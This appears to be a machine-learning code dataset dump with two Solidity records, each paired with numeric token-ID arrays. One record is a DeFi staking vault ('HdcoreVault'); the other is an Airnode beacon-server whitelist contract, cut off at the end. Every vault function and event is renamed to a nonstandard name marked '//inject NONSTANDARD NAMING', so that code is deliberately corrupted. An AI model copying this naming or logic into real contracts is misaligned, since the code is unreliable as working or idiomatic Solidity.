_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,bool,bool)", p0, p1, p2, p3));
}
function LOG714(address p0, address p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,bool,address)", p0, p1, p2, p3));
}
function LOG714(address p0, address p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,address,uint)", p0, p1, p2, p3));
}
function LOG714(address p0, address p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,address,string)", p0, p1, p2, p3));
}
function LOG714(address p0, address p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,address,bool)", p0, p1, p2, p3));
}
function LOG714(address p0, address p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING
_SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,address,address)", p0, p1, p2, p3));
}
}
// HDCore Vault distributes fees equally amongst staked pools
// Have fun reading it. Hopefully it's bug-free. God bless.
contract HdcoreVault is OwnableUpgradeSafe {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// Info of each user.
struct UserInfo {
uint256 amount; // How many tokens the user has provided.
uint256 rewardDebt; // Reward debt. See explanation below.
//
// We do some fancy math here. Basically, any point in time, the amount of HdCOREs
// entitled to a user but is pending to be distributed is:
//
// pending reward = (user.amount * pool.accHdcorePerShare) - user.rewardDebt
//
// Whenever a user deposits or withdraws tokens to a pool. Here's what happens:
// 1. The pool's `accHdcorePerShare` (and `lastRewardBlock`) gets updated.
// 2. User receives the pending reward sent to his/her address.
// 3. User's `amount` gets updated.
// 4. User's `rewardDebt` gets updated.
}
// Info of each pool.
struct PoolInfo {
IERC20 token; // Address of token contract.
uint256 allocPoint; // How many allocation points assigned to this pool. HDCOREs to distribute per block.
uint256 accHdcorePerShare; // Accumulated HDCOREs per share, times 1e12. See below.
bool withdrawable; // Is this pool withdrawable?
mapping(address => mapping(address => uint256)) allowance;
}
// The HDCORE TOKEN!
INBUNIERC20 public hdcore;
// Dev address.
address public devaddr;
// Info of each pool.
PoolInfo[] public poolInfo;
// Info of each user that stakes tokens.
mapping(uint256 => mapping(address => UserInfo)) public userInfo;
// Total allocation poitns. Must be the sum of all allocation points in all pools.
uint256 public totalAllocPoint;
uint256 public pendingRewards;
uint256 public contractStartBlock;
uint256 public epochCalculationStartBlock;
uint256 public cumulativeRewardsSinceStart;
uint256 public rewardsInThisEpoch;
uint public epoch;
// Returns fees generated since start of this contract
function AVERAGEFEESPERBLOCKSINCESTART533() external view returns (uint averagePerBlock) { //inject NONSTANDARD NAMING
averagePerBlock = cumulativeRewardsSinceStart.ADD659(rewardsInThisEpoch).DIV156(block.number.SUB877(contractStartBlock));
}
// Returns averge fees in this epoch
function AVERAGEFEESPERBLOCKEPOCH880() external view returns (uint256 averagePerBlock) { //inject NONSTANDARD NAMING
averagePerBlock = rewardsInThisEpoch.DIV156(block.number.SUB877(epochCalculationStartBlock));
}
// For easy graphing historical epoch rewards
mapping(uint => uint256) public epochRewards;
//Starts a new calculation epoch
// Because averge since start will not be accurate
function STARTNEWEPOCH403() public { //inject NONSTANDARD NAMING
require(epochCalculationStartBlock + 50000 < block.number, "New epoch not ready yet"); // About a week
epochRewards[epoch] = rewardsInThisEpoch;
cumulativeRewardsSinceStart = cumulativeRewardsSinceStart.ADD659(rewardsInThisEpoch);
rewardsInThisEpoch = 0;
epochCalculationStartBlock = block.number;
++epoch;
}
event DEPOSIT941(address indexed user, uint256 indexed pid, uint256 amount); //inject NONSTANDARD NAMING
event WITHDRAW483(address indexed user, uint256 indexed pid, uint256 amount); //inject NONSTANDARD NAMING
event EMERGENCYWITHDRAW770( //inject NONSTANDARD NAMING
address indexed user,
uint256 indexed pid,
uint256 amount
);
event APPROVAL172(address indexed owner, address indexed spender, uint256 _pid, uint256 value); //inject NONSTANDARD NAMING
function INITIALIZE896( //inject NONSTANDARD NAMING
INBUNIERC20 _hdcore
) public INITIALIZER933 {
OwnableUpgradeSafe.__OWNABLE_INIT503();
DEV_FEE = 724;
hdcore = _hdcore;
devaddr = msg.sender;
contractStartBlock = block.number;
_superAdmin = msg.sender;
}
function POOLLENGTH724() external view returns (uint256) { //inject NONSTANDARD NAMING
return poolInfo.length;
}
// Add a new token pool. Can only be called by the owner.
// Note contract owner is meant to be a governance contract allowing HDCORE governance consensus
function ADD659( //inject NONSTANDARD NAMING
uint256 _allocPoint,
IERC20 _token,
bool _withUpdate,
bool _withdrawable
) public ONLYOWNER691 {
if (_withUpdate) {
MASSUPDATEPOOLS941();
}
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
require(poolInfo[pid].token != _token,"Error pool already added");
}
totalAllocPoint = totalAllocPoint.ADD659(_allocPoint);
poolInfo.push(
PoolInfo({
token: _token,
allocPoint: _allocPoint,
accHdcorePerShare: 0,
withdrawable : _withdrawable
})
);
}
// Update the given pool's HDCOREs allocation point. Can only be called by the owner.
// Note contract owner is meant to be a governance contract allowing HDCORE governance consensus
function SET408( //inject NONSTANDARD NAMING
uint256 _pid,
uint256 _allocPoint,
bool _withUpdate
) public ONLYOWNER691 {
if (_withUpdate) {
MASSUPDATEPOOLS941();
}
totalAllocPoint = totalAllocPoint.SUB877(poolInfo[_pid].allocPoint).ADD659(
_allocPoint
);
poolInfo[_pid].allocPoint = _allocPoint;
}
// Update the given pool's ability to withdraw tokens
// Note contract owner is meant to be a governance contract allowing HDCORE governance consensus
function SETPOOLWITHDRAWABLE817( //inject NONSTANDARD NAMING
uint256 _pid,
bool _withdrawable
) public ONLYOWNER691 {
poolInfo[_pid].withdrawable = _withdrawable;
}
// Sets the dev fee for this contract
// defaults at 7.24%
// Note contract owner is meant to be a governance contract allowing HDCORE governance consensus
uint16 DEV_FEE;
function SETDEVFEE755(uint16 _DEV_FEE) public ONLYOWNER691 { //inject NONSTANDARD NAMING
require(_DEV_FEE <= 1000, 'Dev fee clamped at 10%');
DEV_FEE = _DEV_FEE;
}
uint256 pending_DEV_rewards;
// View function to see pending HDCOREs on frontend.
function PENDINGHDCORE546(uint256 _pid, address _user) //inject NONSTANDARD NAMING
external
view
returns (uint256)
{
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
uint256 accHdcorePerShare = pool.accHdcorePerShare;
return user.amount.MUL487(accHdcorePerShare).DIV156(1e12).SUB877(user.rewardDebt);
}
// Update reward vairables for all pools. Be careful of gas spending!
function MASSUPDATEPOOLS941() public { //inject NONSTANDARD NAMING
console.LOG714("Mass Updating Pools");
uint256 length = poolInfo.length;
uint allRewards;
for (uint256 pid = 0; pid < length; ++pid) {
allRewards = allRewards.ADD659(UPDATEPOOL374(pid));
}
pendingRewards = pendingRewards.SUB877(allRewards);
}
// ----
// Function that adds pending rewards, called by the HDCORE token.
// ----
uint256 private hdcoreBalance;
function ADDPENDINGREWARDS319(uint256 _) public { //inject NONSTANDARD NAMING
uint256 newRewards = hdcore.BALANCEOF536(address(this)).SUB877(hdcoreBalance);
if(newRewards > 0) {
hdcoreBalance = hdcore.BALANCEOF536(address(this)); // If there is no change the balance didn't change
pendingRewards = pendingRewards.ADD659(newRewards);
rewardsInThisEpoch = rewardsInThisEpoch.ADD659(newRewards);
}
}
// Update reward variables of the given pool to be up-to-date.
function UPDATEPOOL374(uint256 _pid) internal returns (uint256 hdcoreRewardWhole) { //inject NONSTANDARD NAMING
PoolInfo storage pool = poolInfo[_pid];
uint256 tokenSupply = pool.token.BALANCEOF536(address(this));
if (tokenSupply == 0) { // avoids division by 0 errors
return 0;
}
hdcoreRewardWhole = pendingRewards // Multiplies pending rewards by allocation point of this pool and then total allocation
.MUL487(pool.allocPoint) // getting the percent of total pending rewards this pool should get
.DIV156(totalAllocPoint); // we can do this because pools are only mass updated
uint256 hdcoreRewardFee = hdcoreRewardWhole.MUL487(DEV_FEE).DIV156(10000);
uint256 hdcoreRewardToDistribute = hdcoreRewardWhole.SUB877(hdcoreRewardFee);
pending_DEV_rewards = pending_DEV_rewards.ADD659(hdcoreRewardFee);
pool.accHdcorePerShare = pool.accHdcorePerShare.ADD659(
hdcoreRewardToDistribute.MUL487(1e12).DIV156(tokenSupply)
);
}
// Deposit tokens to HdcoreVault for HDCORE allocation.
function DEPOSIT767(uint256 _pid, uint256 _amount) public { //inject NONSTANDARD NAMING
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
MASSUPDATEPOOLS941();
// Transfer pending tokens
// to user
UPDATEANDPAYOUTPENDING193(_pid, pool, user, msg.sender);
//Transfer in the amounts from user
// save gas
if(_amount > 0) {
pool.token.SAFETRANSFERFROM64(address(msg.sender), address(this), _amount);
user.amount = user.amount.ADD659(_amount);
}
user.rewardDebt = user.amount.MUL487(pool.accHdcorePerShare).DIV156(1e12);
emit DEPOSIT941(msg.sender, _pid, _amount);
}
// Test coverage
// [x] Does user get the deposited amounts?
// [x] Does user that its deposited for update correcty?
// [x] Does the depositor get their tokens decreased
function DEPOSITFOR318(address depositFor, uint256 _pid, uint256 _amount) public { //inject NONSTANDARD NAMING
// requires no allowances
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][depositFor];
MASSUPDATEPOOLS941();
// Transfer pending tokens
// to user
UPDATEANDPAYOUTPENDING193(_pid, pool, user, depositFor); // Update the balances of person that amount is being deposited for
if(_amount > 0) {
pool.token.SAFETRANSFERFROM64(address(msg.sender), address(this), _amount);
user.amount = user.amount.ADD659(_amount); // This is depositedFor address
}
user.rewardDebt = user.amount.MUL487(pool.accHdcorePerShare).DIV156(1e12);
emit DEPOSIT941(depositFor, _pid, _amount);
}
// Test coverage
// [x] Does allowance update correctly?
function SETALLOWANCEFORPOOLTOKEN927(address spender, uint256 _pid, uint256 value) public { //inject NONSTANDARD NAMING
PoolInfo storage pool = poolInfo[_pid];
pool.allowance[msg.sender][spender] = value;
emit APPROVAL172(msg.sender, spender, _pid, value);
}
// Test coverage
// [x] Does allowance decrease?
// [x] Do oyu need allowance
// [x] Withdraws to correct address
function WITHDRAWFROM678(address owner, uint256 _pid, uint256 _amount) public{ //inject NONSTANDARD NAMING
PoolInfo storage pool = poolInfo[_pid];
require(pool.allowance[owner][msg.sender] >= _amount, "withdraw: insufficient allowance");
pool.allowance[owner][msg.sender] = pool.allowance[owner][msg.sender].SUB877(_amount);
_WITHDRAW26(_pid, _amount, owner, msg.sender);
}
// Withdraw tokens from HdcoreVault.
function WITHDRAW844(uint256 _pid, uint256 _amount) public { //inject NONSTANDARD NAMING
_WITHDRAW26(_pid, _amount, msg.sender, msg.sender);
}
// Low level withdraw function
function _WITHDRAW26(uint256 _pid, uint256 _amount, address from, address to) internal { //inject NONSTANDARD NAMING
PoolInfo storage pool = poolInfo[_pid];
require(pool.withdrawable, "Withdrawing from this pool is disabled");
UserInfo storage user = userInfo[_pid][from];
require(user.amount >= _amount, "withdraw: not good");
MASSUPDATEPOOLS941();
UPDATEANDPAYOUTPENDING193(_pid, pool, user, from); // Update balances of from this is not withdrawal but claiming HDCORE farmed
if(_amount > 0) {
user.amount = user.amount.SUB877(_amount);
pool.token.SAFETRANSFER239(address(to), _amount);
}
user.rewardDebt = user.amount.MUL487(pool.accHdcorePerShare).DIV156(1e12);
emit WITHDRAW483(to, _pid, _amount);
}
function CLAIM95(uint256 _pid) public { //inject NONSTANDARD NAMING
PoolInfo storage pool = poolInfo[_pid];
require(pool.withdrawable, "Withdrawing from this pool is disabled");
UserInfo storage user = userInfo[_pid][msg.sender];
MASSUPDATEPOOLS941();
UPDATEANDPAYOUTPENDING193(_pid, pool, user, msg.sender);
}
function UPDATEANDPAYOUTPENDING193(uint256 _pid, PoolInfo storage pool, UserInfo storage user, address from) internal { //inject NONSTANDARD NAMING
if(user.amount == 0) return;
uint256 pending = user
.amount
.MUL487(pool.accHdcorePerShare)
.DIV156(1e12)
.SUB877(user.rewardDebt);
if(pending > 0) {
SAFEHDCORETRANSFER939(from, pending);
}
}
// function that lets owner/governance contract
// approve allowance for any token inside this contract
// This means all future UNI like airdrops are covered
// And at the same time allows us to give allowance to strategy contracts.
// Upcoming cYFI etc vaults strategy contracts will use this function to manage and farm yield on value locked
function SETSTRATEGYCONTRACTORDISTRIBUTIONCONTRACTALLOWANCE131(address tokenAddress, uint256 _amount, address contractAddress) public ONLYSUPERADMIN581 { //inject NONSTANDARD NAMING
require(ISCONTRACT107(contractAddress), "Recipent is not a smart contract, BAD");
require(block.number > contractStartBlock.ADD659(95_000), "Governance setup grace period not over"); // about 2weeks
IERC20(tokenAddress).APPROVE926(contractAddress, _amount);
}
function ISCONTRACT107(address addr) public returns (bool) { //inject NONSTANDARD NAMING
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
// Withdraw without caring about rewards. EMERGENCY ONLY.
// !Caution this will remove all your pending rewards!
function EMERGENCYWITHDRAW608(uint256 _pid) public { //inject NONSTANDARD NAMING
PoolInfo storage pool = poolInfo[_pid];
require(pool.withdrawable, "Withdrawing from this pool is disabled");
UserInfo storage user = userInfo[_pid][msg.sender];
pool.token.SAFETRANSFER239(address(msg.sender), user.amount);
emit EMERGENCYWITHDRAW770(msg.sender, _pid, user.amount);
user.amount = 0;
user.rewardDebt = 0;
// No mass update dont update pending rewards
}
// Safe hdcore transfer function, just in case if rounding error causes pool to not have enough HDCOREs.
function SAFEHDCORETRANSFER939(address _to, uint256 _amount) internal { //inject NONSTANDARD NAMING
if(_amount == 0) return;
uint256 hdcoreBal = hdcore.BALANCEOF536(address(this));
if (_amount > hdcoreBal) {
console.LOG714("transfering out for to person:", _amount);
console.LOG714("Balance of this address is :", hdcoreBal);
hdcore.TRANSFER353(_to, hdcoreBal);
hdcoreBalance = hdcore.BALANCEOF536(address(this));
} else {
hdcore.TRANSFER353(_to, _amount);
hdcoreBalance = hdcore.BALANCEOF536(address(this));
}
if(pending_DEV_rewards > 0) {
uint256 devSend = pending_DEV_rewards; // Avoid recursive loop
pending_DEV_rewards = 0;
SAFEHDCORETRANSFER939(devaddr, devSend);
}
}
// Update dev address by the previous dev.
// Note onlyOwner functions are meant for the governance contract
// allowing HDCORE governance token holders to do this functions.
function SETDEVFEERECIEVER7(address _devaddr) public ONLYOWNER691 { //inject NONSTANDARD NAMING
devaddr = _devaddr;
}
address private _superAdmin;
event SUPERADMINTRANSFERED362(address indexed previousOwner, address indexed newOwner); //inject NONSTANDARD NAMING
function SUPERADMIN402() public view returns (address) { //inject NONSTANDARD NAMING
return _superAdmin;
}
modifier ONLYSUPERADMIN581() { //inject NONSTANDARD NAMING
require(_superAdmin == _MSGSENDER195(), "Super admin : caller is not super admin.");
_;
}
// Assisns super admint to address 0, making it unreachable forever
function BURNSUPERADMIN143() public virtual ONLYSUPERADMIN581 { //inject NONSTANDARD NAMING
emit SUPERADMINTRANSFERED362(_superAdmin, address(0));
_superAdmin = address(0);
}
// Super admin can transfer its powers to another address
function NEWSUPERADMIN397(address newOwner) public virtual ONLYSUPERADMIN581 { //inject NONSTANDARD NAMING
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit SUPERADMINTRANSFERED362(_superAdmin, newOwner);
_superAdmin = newOwner;
}
} | inject NONSTANDARD NAMING
| function LOG714(address p0, uint p1, string memory p2, uint p3) internal view { | 14,087,923 | [
1,
22170,
18708,
882,
18264,
423,
2192,
1360,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
202,
915,
2018,
27,
3461,
12,
2867,
293,
20,
16,
2254,
293,
21,
16,
533,
3778,
293,
22,
16,
2254,
293,
23,
13,
2713,
1476,
288,
202,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
import "../../whitelist/Whitelist.sol";
import "../../whitelist/WhitelistRolesWithManager.sol";
import "./RrpRequester.sol";
import "./interfaces/IRrpBeaconServer.sol";
/// @title The contract that serves beacons using Airnode RRP
/// @notice A beacon is a live data point associated with a template ID. This
/// is suitable where the more recent data point is always more favorable,
/// e.g., in the context of an asset price data feed. Another definition of
/// beacons are one-Airnode data feeds that can be used individually or
/// combined to build decentralized data feeds.
/// @dev This contract casts the reported data point to `int224`. If this is
/// a problem (because the reported data may not fit into 224 bits or it is of
/// a completely different type such as `bytes32`), do not use this contract
/// and implement a customized version instead.
/// The contract casts the timestamps to `uint32`, which means it will not work
/// work past-2106 in the current form. If this is an issue, consider casting
/// the timestamps to a larger type.
contract RrpBeaconServer is
Whitelist,
WhitelistRolesWithManager,
RrpRequester,
IRrpBeaconServer
{
struct Beacon {
int224 value;
uint32 timestamp;
}
/// @notice Returns if a sponsor has permitted an account to request
/// updates at this contract
mapping(address => mapping(address => bool))
public
override sponsorToUpdateRequesterToPermissionStatus;
mapping(bytes32 => Beacon) private templateIdToBeacon;
mapping(bytes32 => bytes32) private requestIdToTemplateId;
/// @dev Reverts if the template with the ID is not created
/// @param templateId Template ID
modifier onlyIfTemplateExists(bytes32 templateId) {
(address airnode, , ) = airnodeRrp.templates(templateId);
require(airnode != address(0), "Template does not exist");
_;
}
/// @param _accessControlRegistry AccessControlRegistry contract address
/// @param _adminRoleDescription Admin role description
/// @param _manager Manager address
/// @param _airnodeRrp Airnode RRP contract address
constructor(
address _accessControlRegistry,
string memory _adminRoleDescription,
address _manager,
address _airnodeRrp
)
WhitelistRolesWithManager(
_accessControlRegistry,
_adminRoleDescription,
_manager
)
RrpRequester(_airnodeRrp)
{}
/// @notice Extends the expiration of the temporary whitelist of `reader`
/// to be able to read the beacon with `templateId` if the sender has the
/// whitelist expiration extender role
/// @param templateId Template ID
/// @param reader Reader address
/// @param expirationTimestamp Timestamp at which the temporary whitelist
/// will expire
function extendWhitelistExpiration(
bytes32 templateId,
address reader,
uint64 expirationTimestamp
) external override {
require(
hasWhitelistExpirationExtenderRoleOrIsManager(msg.sender),
"Not expiration extender"
);
_extendWhitelistExpiration(templateId, reader, expirationTimestamp);
emit ExtendedWhitelistExpiration(
templateId,
reader,
msg.sender,
expirationTimestamp
);
}
/// @notice Sets the expiration of the temporary whitelist of `reader` to
/// be able to read the beacon with `templateId` if the sender has the
/// whitelist expiration setter role
/// @param templateId Template ID
/// @param reader Reader address
/// @param expirationTimestamp Timestamp at which the temporary whitelist
/// will expire
function setWhitelistExpiration(
bytes32 templateId,
address reader,
uint64 expirationTimestamp
) external override {
require(
hasWhitelistExpirationSetterRoleOrIsManager(msg.sender),
"Not expiration setter"
);
_setWhitelistExpiration(templateId, reader, expirationTimestamp);
emit SetWhitelistExpiration(
templateId,
reader,
msg.sender,
expirationTimestamp
);
}
/// @notice Sets the indefinite whitelist status of `reader` to be able to
/// read the beacon with `templateId` if the sender has the indefinite
/// whitelister role
/// @param templateId Template ID
/// @param reader Reader address
/// @param status Indefinite whitelist status
function setIndefiniteWhitelistStatus(
bytes32 templateId,
address reader,
bool status
) external override {
require(
hasIndefiniteWhitelisterRoleOrIsManager(msg.sender),
"Not indefinite whitelister"
);
uint192 indefiniteWhitelistCount = _setIndefiniteWhitelistStatus(
templateId,
reader,
status
);
emit SetIndefiniteWhitelistStatus(
templateId,
reader,
msg.sender,
status,
indefiniteWhitelistCount
);
}
/// @notice Revokes the indefinite whitelist status granted by a specific
/// account that no longer has the indefinite whitelister role
/// @param templateId Template ID
/// @param reader Reader address
/// @param setter Setter of the indefinite whitelist status
function revokeIndefiniteWhitelistStatus(
bytes32 templateId,
address reader,
address setter
) external override {
require(
!hasIndefiniteWhitelisterRoleOrIsManager(setter),
"setter is indefinite whitelister"
);
(
bool revoked,
uint192 indefiniteWhitelistCount
) = _revokeIndefiniteWhitelistStatus(templateId, reader, setter);
if (revoked) {
emit RevokedIndefiniteWhitelistStatus(
templateId,
reader,
setter,
msg.sender,
indefiniteWhitelistCount
);
}
}
/// @notice Called by the sponsor to set the update request permission
/// status of an account
/// @param updateRequester Update requester address
/// @param status Update permission status of the update requester
function setUpdatePermissionStatus(address updateRequester, bool status)
external
override
{
require(updateRequester != address(0), "Update requester zero");
sponsorToUpdateRequesterToPermissionStatus[msg.sender][
updateRequester
] = status;
emit SetUpdatePermissionStatus(msg.sender, updateRequester, status);
}
/// @notice Called to request a beacon to be updated
/// @dev There are two requirements for this method to be called: (1) The
/// sponsor must call `setSponsorshipStatus()` of AirnodeRrp to sponsor
/// this RrpBeaconServer contract, (2) The sponsor must call
/// `setUpdatePermissionStatus()` of this RrpBeaconServer contract to give
/// request update permission to the caller of this method.
/// The template used here must specify a single point of data of type
/// `int256` to be returned because this is what `fulfill()` expects.
/// This point of data must be castable to `int224`.
/// @param templateId Template ID of the beacon to be updated
/// @param sponsor Sponsor whose wallet will be used to fulfill this
/// request
/// @param sponsorWallet Sponsor wallet that will be used to fulfill this
/// request
function requestBeaconUpdate(
bytes32 templateId,
address sponsor,
address sponsorWallet
) external override {
require(
sponsorToUpdateRequesterToPermissionStatus[sponsor][msg.sender],
"Caller not permitted"
);
bytes32 requestId = airnodeRrp.makeTemplateRequest(
templateId,
sponsor,
sponsorWallet,
address(this),
this.fulfill.selector,
""
);
requestIdToTemplateId[requestId] = templateId;
emit RequestedBeaconUpdate(
templateId,
sponsor,
msg.sender,
requestId,
sponsorWallet
);
}
/// @notice Called by AirnodeRrp to fulfill the request
/// @dev It is assumed that the fulfillment will be made with a single
/// point of data of type `int256`
/// @param requestId ID of the request being fulfilled
/// @param data Fulfillment data (a single `int256` encoded as `bytes`)
function fulfill(bytes32 requestId, bytes calldata data)
external
override
onlyAirnodeRrp
{
bytes32 templateId = requestIdToTemplateId[requestId];
require(templateId != bytes32(0), "No such request made");
delete requestIdToTemplateId[requestId];
int256 decodedData = abi.decode(data, (int256));
require(
decodedData >= type(int224).min && decodedData <= type(int224).max,
"Value typecasting error"
);
require(
block.timestamp <= type(uint32).max,
"Timestamp typecasting error"
);
templateIdToBeacon[templateId] = Beacon({
value: int224(decodedData),
timestamp: uint32(block.timestamp)
});
emit UpdatedBeacon(
templateId,
requestId,
int224(decodedData),
uint32(block.timestamp)
);
}
/// @notice Called to read the beacon
/// @dev The caller must be whitelisted.
/// If the `timestamp` of a beacon is zero, this means that it was never
/// written to before, and the zero value in the `value` field is not
/// valid. In general, make sure to check if the timestamp of the beacon is
/// fresh enough, and definitely disregard beacons with zero `timestamp`.
/// @param templateId Template ID of the beacon that will be returned
/// @return value Beacon value
/// @return timestamp Beacon timestamp
function readBeacon(bytes32 templateId)
external
view
override
returns (int224 value, uint32 timestamp)
{
require(
readerCanReadBeacon(templateId, msg.sender),
"Caller not whitelisted"
);
Beacon storage beacon = templateIdToBeacon[templateId];
return (beacon.value, beacon.timestamp);
}
/// @notice Called to check if a reader is whitelisted to read the beacon
/// @param templateId Template ID
/// @param reader Reader address
/// @return isWhitelisted If the reader is whitelisted
function readerCanReadBeacon(bytes32 templateId, address reader)
public
view
override
onlyIfTemplateExists(templateId)
returns (bool)
{
return userIsWhitelisted(templateId, reader);
}
/// @notice Called to get the detailed whitelist status of the reader for
/// the beacon
/// @param templateId Template ID
/// @param reader Reader address
/// @return expirationTimestamp Timestamp at which the whitelisting of the
/// reader will expire
/// @return indefiniteWhitelistCount Number of times `reader` was
/// whitelisted indefinitely for `templateId`
function templateIdToReaderToWhitelistStatus(
bytes32 templateId,
address reader
)
external
view
override
onlyIfTemplateExists(templateId)
returns (uint64 expirationTimestamp, uint192 indefiniteWhitelistCount)
{
WhitelistStatus
storage whitelistStatus = serviceIdToUserToWhitelistStatus[
templateId
][reader];
expirationTimestamp = whitelistStatus.expirationTimestamp;
indefiniteWhitelistCount = whitelistStatus.indefiniteWhitelistCount;
}
/// @notice Returns if an account has indefinitely whitelisted the reader
/// for the beacon
/// @param templateId Template ID
/// @param reader Reader address
/// @param setter Address of the account that has potentially whitelisted
/// the reader for the beacon indefinitely
/// @return indefiniteWhitelistStatus If `setter` has indefinitely
/// whitelisted reader for the beacon
function templateIdToReaderToSetterToIndefiniteWhitelistStatus(
bytes32 templateId,
address reader,
address setter
) external view override returns (bool indefiniteWhitelistStatus) {
indefiniteWhitelistStatus = serviceIdToUserToSetterToIndefiniteWhitelistStatus[
templateId
][reader][setter];
}
}
| @notice Sets the indefinite whitelist status of `reader` to be able to read the beacon with `templateId` if the sender has the indefinite whitelister role @param templateId Template ID @param reader Reader address @param status Indefinite whitelist status | function setIndefiniteWhitelistStatus(
bytes32 templateId,
address reader,
bool status
) external override {
require(
hasIndefiniteWhitelisterRoleOrIsManager(msg.sender),
"Not indefinite whitelister"
);
uint192 indefiniteWhitelistCount = _setIndefiniteWhitelistStatus(
templateId,
reader,
status
);
emit SetIndefiniteWhitelistStatus(
templateId,
reader,
msg.sender,
status,
indefiniteWhitelistCount
);
}
| 13,115,488 | [
1,
2785,
326,
316,
5649,
1137,
10734,
1267,
434,
1375,
10530,
68,
358,
506,
7752,
358,
855,
326,
29203,
598,
1375,
3202,
548,
68,
309,
326,
5793,
711,
326,
316,
5649,
1137,
600,
305,
292,
1249,
2478,
225,
1542,
548,
5035,
1599,
225,
2949,
5393,
1758,
225,
1267,
657,
5649,
1137,
10734,
1267,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
